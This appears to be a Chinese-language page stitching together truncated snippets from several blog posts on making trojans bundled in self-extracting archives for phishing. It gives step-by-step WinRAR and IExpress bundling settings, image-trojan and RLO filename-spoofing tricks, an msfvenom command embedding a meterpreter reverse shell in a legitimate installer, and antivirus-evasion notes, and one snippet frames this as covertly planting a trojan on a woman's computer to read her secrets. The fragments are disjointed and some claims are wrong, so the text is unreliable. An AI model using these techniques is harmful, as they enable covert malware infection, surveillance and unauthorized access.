【阿一网络安全】压缩文件木马制作

在攻防演练中，钓鱼攻击通常采用社会工程学手段，通过伪装成可信的来源，引导用户点击恶意链接或下载恶意文件，进而实现攻击。而压缩包工具可以在一定程度上提高攻击成功率。具体来说，攻击者通常会将恶意文件打包成一个压缩包，然后利用一些诱人的话术诱导目标用户点击链接或下载该压缩包。当用户解压缩包时，其中包含的自解压木马就会被激活并感染用户的计算机，而在本篇文章中会介绍如何使用自解压木马技术钓鱼。

TheFatRat木马生成工具创建后门或payload

想看她的秘密，所以想在她的电脑上放马。但是又不能明目张胆的放吧！不会高超的编程技术，怎样把我的***放入安装包里呢？看我是如何用著名的Winrar压缩软件来制作带***的捆绑文件 1.选中要创建自解压包的程序文件和***文件，然后鼠标右键，点击添加到压缩文件。2.输入要创建的压缩包名称，勾选创建自解压格式压缩文件。3.点击高级页的自解压选项。4.输入默认解压路...

将写的木马插入到图片中，之后配合解析漏洞.htaccess等，对图片马进行解析，从而执行图片中的恶意代码；# 因此 服务器是对文件后缀来对文件进行解析的，所以我们可以通过修改文件后缀来对图片进行访问。此时生成的是图片文件，我们将后缀改为zip时，任然可以读取压缩包文件中的内容。先将一张图片放到PS中，之后点击左上角文件——>文件简介。通过十六进制编辑器，将一句话木马写入图片中。通过图片隐藏信息，是一个合成的过程。最后将带有一句话木马的图片导出。图片越小的文件，制作工艺越纯良。把压缩包放到图片中，进行合成。

利用自解压文件携带木马程序 ** 可能会有不足，如果能告诉我哪里不对，我会非常开心。 **

对于使用自解压文件的场景，攻击者可以创建一个自解压的exe文件，该文件解压后自动执行解压出来的文件。然后，通过插入RLO字符，将这个exe文件伪装成另一种看似安全的文件类型，比如文本文件或图片文件。当用户打开这个看似安全的文件时，实际上是在运行恶意的exe文件RLO（Start of right-to-left override）是Unicode定义的一种特殊字符，其ASCII码为0x3F。这个字符被设计来兼容从右至左阅读的文字系统，如阿拉伯语。

在常规网络攻击无效果时，采取网络钓鱼将是常用且比较有效的方法。这里介绍一种利用压缩文件捆绑木马的方法，方便大家理解并加强防范。

实验目的 本次实验为考核实验，需要独立设计完成一次网络攻防的综合实验。设计的实验中要包括以下几个方面内容： (1) 构建一个具有漏洞的服务器，利用漏洞对服务器进行入侵或攻击； (2) 利用网络安全工具或设备对入侵与攻击进行检测； 【注意事项】 1.本病毒程序用于实验目的，面向实验演示，侧重于演示和说明病毒的内在原理，破坏功能有限。在测试病毒程序前，需先关闭杀毒软件的自动防护功能或直接关闭杀毒软件。 2.若在个人电脑上实验，最好在虚拟机中运行。 3.测试完毕后，请注意病毒程序的清除，以免误操作破坏

rar自解压绑马 (1)先用winrar压缩加密文件。压缩后的文件可改为任意后缀名,如.jpg (2)然后将unrar和加密压缩的文件打包成自解压文件。在"提取后运行"里填上"unrar e -p111111 calc.jpg" 然后回车再输入解压后的exe文件名,如calc.exe. (3)打包后的自解压脚本命令就是 Setup=unrar e -p111111 calc.jp...

自解压捆绑木马 使用CS生成一个木马文件将木马跟一个正常的文件捆绑在一起，当点捆绑生成的EXE文件就会执行木马和正常的文件。 选中木马文件和一个正常的文件，选择添加到压缩文件 常规-勾选创建自解压格式压缩文件并修改压缩文件名 高级-点击自解压选项 常规-填写解压路径 设置-填写解压后运行的路径，一个为木马文件的名字一个为正常文件的名字。 模式-全部隐藏 更新-解压并更新文件-覆盖所有文件 最后点击确定，生成一个Desktop.exe的文件 这个文件的图标可以使用ResourceHacker进行

目的：制作一个能够绕过火绒检测的简单木马，熟悉一下怎么使用msfvenom制作木马，因此此处使用的火绒版本较低。 工具准备：火绒安全-3.0.42.0 下载文章：火绒历史全版本 百度网盘链接：https://pan.baidu.com/s/1ZrpYG63aDtQDVBnDFZoeXw 提取码：kr72 实验环境：kali-2019.4 （攻击方，IP：192.168.152.134）、win10（靶机） 【知识补充】 关于Msfvenom： （msfvenom ----a Metasploi

　工具介绍： 　　名称：IExpress 　　功能:专用于制作各种 CAB 压缩与自解压缩包的工具。 　　实际操作 　　在这一部分，笔者将以实例的形式为大家详细讲解捆绑木马的整个过程。 　　第一步 　　在“运行”对话框中输入IExpress就可启动程序(图1)。 　　在开始的时候会有两个选项供你选择，一个是创建新的自解压文件(Create new Self Extraction...

本文转自行云博客https://www.xy586.top 文章目录捆绑木马RAR自动解压 捆绑木马 使用msfvenom制作木马程序： #生成木马文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.138 -f exe -x /root/PhpStudy2018.exe -o /root/phpstudy.exe ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200912111442.

一个病毒是一段程序，它通过附加到文件上或替换文件来感染用户的计算机，良性病毒只会消耗掉一些内存、CPU、磁盘空间文件病毒:它把自己附加到可执行文件上开机性病毒:它把病毒代码放在计算机的磁盘启动扇区上，所以每次计算机被启动时就执行该病毒主引导记录病毒:它感染磁盘的第一个物理扇区复合型病毒:它通常具有多种感染方法宏病毒：它把自己附加到文档或模板的宏中本次创建批处理第一步、新建文件...